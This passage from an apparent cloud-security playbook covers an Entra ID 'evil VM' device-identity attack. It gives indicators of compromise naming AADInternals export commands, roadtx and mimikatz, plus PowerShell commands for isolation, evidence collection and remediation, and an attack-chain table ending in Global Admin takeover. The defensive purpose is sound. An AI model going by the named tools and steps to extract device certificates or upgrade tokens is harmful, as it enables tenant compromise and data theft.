Get-MgDeviceRegistrationPolicy | Select-Object -ExpandProperty UserExperienceSettings
# 3. Verify Conditional Access policies exist
Write-Host "=== Active Conditional Access Policies ==="
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.State -eq "enabled" } | Select-Object DisplayName
# 4. Verify no Gen 1 VMs exist (if Gen 2 enforcement is in place)
Write-Host "=== VM Generation Check ==="
Get-AzVM | Select-Object Name, @{Name="Generation"; Expression={if($_.StorageProfile.OsDisk.ManagedDisk.Id -match 'gen2') {"Gen2"} else {"Gen1"}}}
# Expected output for all checks: Indicates mitigations are active
What to Look For:
C:\Program Files\AADInternals\ (AADInternals module directory)C:\temp\device_cert.pfx (Exported device certificate)C:\temp\device_transport_key.bin (Exported transport key)HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\CDPSvc (Device certificate registry location)HKLM:\System\CurrentControlSet\Services\AAD (Entra ID service registry)*.graph.microsoft.com (Microsoft Graph API)*.management.azure.com (Azure Resource Manager)login.microsoftonline.com (Entra ID authentication)device.login.microsoftonline.com (Device code flow)powershell.exe with CommandLine containing “AADInternals”, “Export-AADIntLocal”, “Get-AADIntDevice”python.exe or python3.exe executing roadtx commandsmimikatz.exe or mimikatz.dll in memoryC:\ProgramData\Microsoft\Windows\Hyper-V\...C:\Users\[user]\AppData\Roaming\Microsoft\Windows\PowerShell\...C:\Users\[user]\.azure\ or .config\az\C:\Packages\Plugins\Microsoft.Azure.ActiveDirectory.AADLoginForWindows\Isolate (Immediate Action):
Command (Azure - Stop VM):
Stop-AzVM -ResourceGroupName "evil-vm-rg" -Name "evil-vm-001" -Force
# Or delete entirely
Remove-AzVM -ResourceGroupName "evil-vm-rg" -Name "evil-vm-001" -Force
Manual (Azure Portal):
Command (Entra ID - Disable Device):
Connect-MgGraph -Scopes "Device.ReadWrite.All"
$device = Get-MgDevice -Filter "displayName eq 'evil-vm-001'"
Update-MgDevice -DeviceId $device.Id -AccountEnabled $false
Command (Entra ID - Revoke PRT Sessions):
# Revoke all refresh tokens for compromised user
Connect-MgGraph -Scopes "User.ReadWrite.All"
Revoke-MgUserRefreshToken -UserId (Get-MgUser -Filter "mail eq 'phished.admin@company.com'").Id
Collect Evidence (Within 1 Hour):
Command (Export Azure Activity Logs):
# Export activity logs for the past 24 hours
Get-AzActivityLog -StartTime (Get-Date).AddDays(-1) -ResourceGroup "evil-vm-rg" `
| Export-Csv -Path "C:\Evidence\azure_activity.csv"
Command (Export Entra ID Audit Logs):
Connect-MgGraph -Scopes "AuditLog.Read.All"
# Export audit logs for guest operations
$auditLogs = Get-MgAuditLogDirectoryAudit -Filter "displayName eq 'Invite user'" `
-Top 1000
$auditLogs | Export-Csv -Path "C:\Evidence\audit_logs_guests.csv"
Command (Export SignInLogs for Phished User):
Get-MgAuditLogSignIn -Filter "userPrincipalName eq 'phished.admin@company.com'" `
-All -Top 500 | Export-Csv -Path "C:\Evidence\signin_logs.csv"
Manual (Azure Portal):
Remediate (Within 4 Hours):
Command (Force Password Reset for All Admins):
# Reset password for compromised admin
Connect-MgGraph -Scopes "UserAuthenticationMethod.ReadWrite.All"
$userId = (Get-MgUser -Filter "mail eq 'phished.admin@company.com'").Id
Reset-MgUserPassword -UserId $userId -NewPassword (New-Guid).Guid
Command (Disable Compromised Guest Account):
# Disable guest account that was used for subscription owner privilege
$guestId = (Get-MgUser -Filter "mail eq 'attacker.guest@outlook.com'").Id
Update-MgUser -UserId $guestId -AccountEnabled $false
Command (Remove Subscription Owner Access):
# Remove guest from subscription owner role
Get-AzRoleAssignment -Scope "/subscriptions/$subscriptionId" -ObjectId $guestId `
| Remove-AzRoleAssignment
Command (Delete Compromised Subscription):
# If subscription was created by attacker and contains no legitimate resources
Remove-AzSubscription -SubscriptionId $subscriptionId -Force
Manual (Azure Portal):
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | REALWORLD-001 Initial Guest Account Compromise | Attacker compromises or invites B2B guest account via phishing, helpdesk social engineering, or password spray |
| 2 | Lateral Movement | [REALWORLD-013] Evil VM Device Identity | Guest account invited to target tenant, subscription transferred, Gen 1 VM created and Entra ID-joined |
| 3 | Credential Access | REALWORLD-014 PRT Device Identity Manipulation | Device certificate extracted, phishing attack on admin for refresh token, refresh token upgraded to PRT |
| 4 | Privilege Escalation | REALWORLD-015 Guest to Admin Azure VM | PRT used to authenticate as phished admin, Global Admin access obtained |
| 5 | Persistence | Service Principal Creation, Conditional Access Modification | Attacker creates backdoor service principal, disables MFA requirements, modifies Conditional Access policies |
| 6 | Impact | Data Exfiltration from M365, On-Premises AD Compromise | Attacker accesses SharePoint, Teams, Exchange; pivots to on-premises via federation tokens or Kerberos delegation |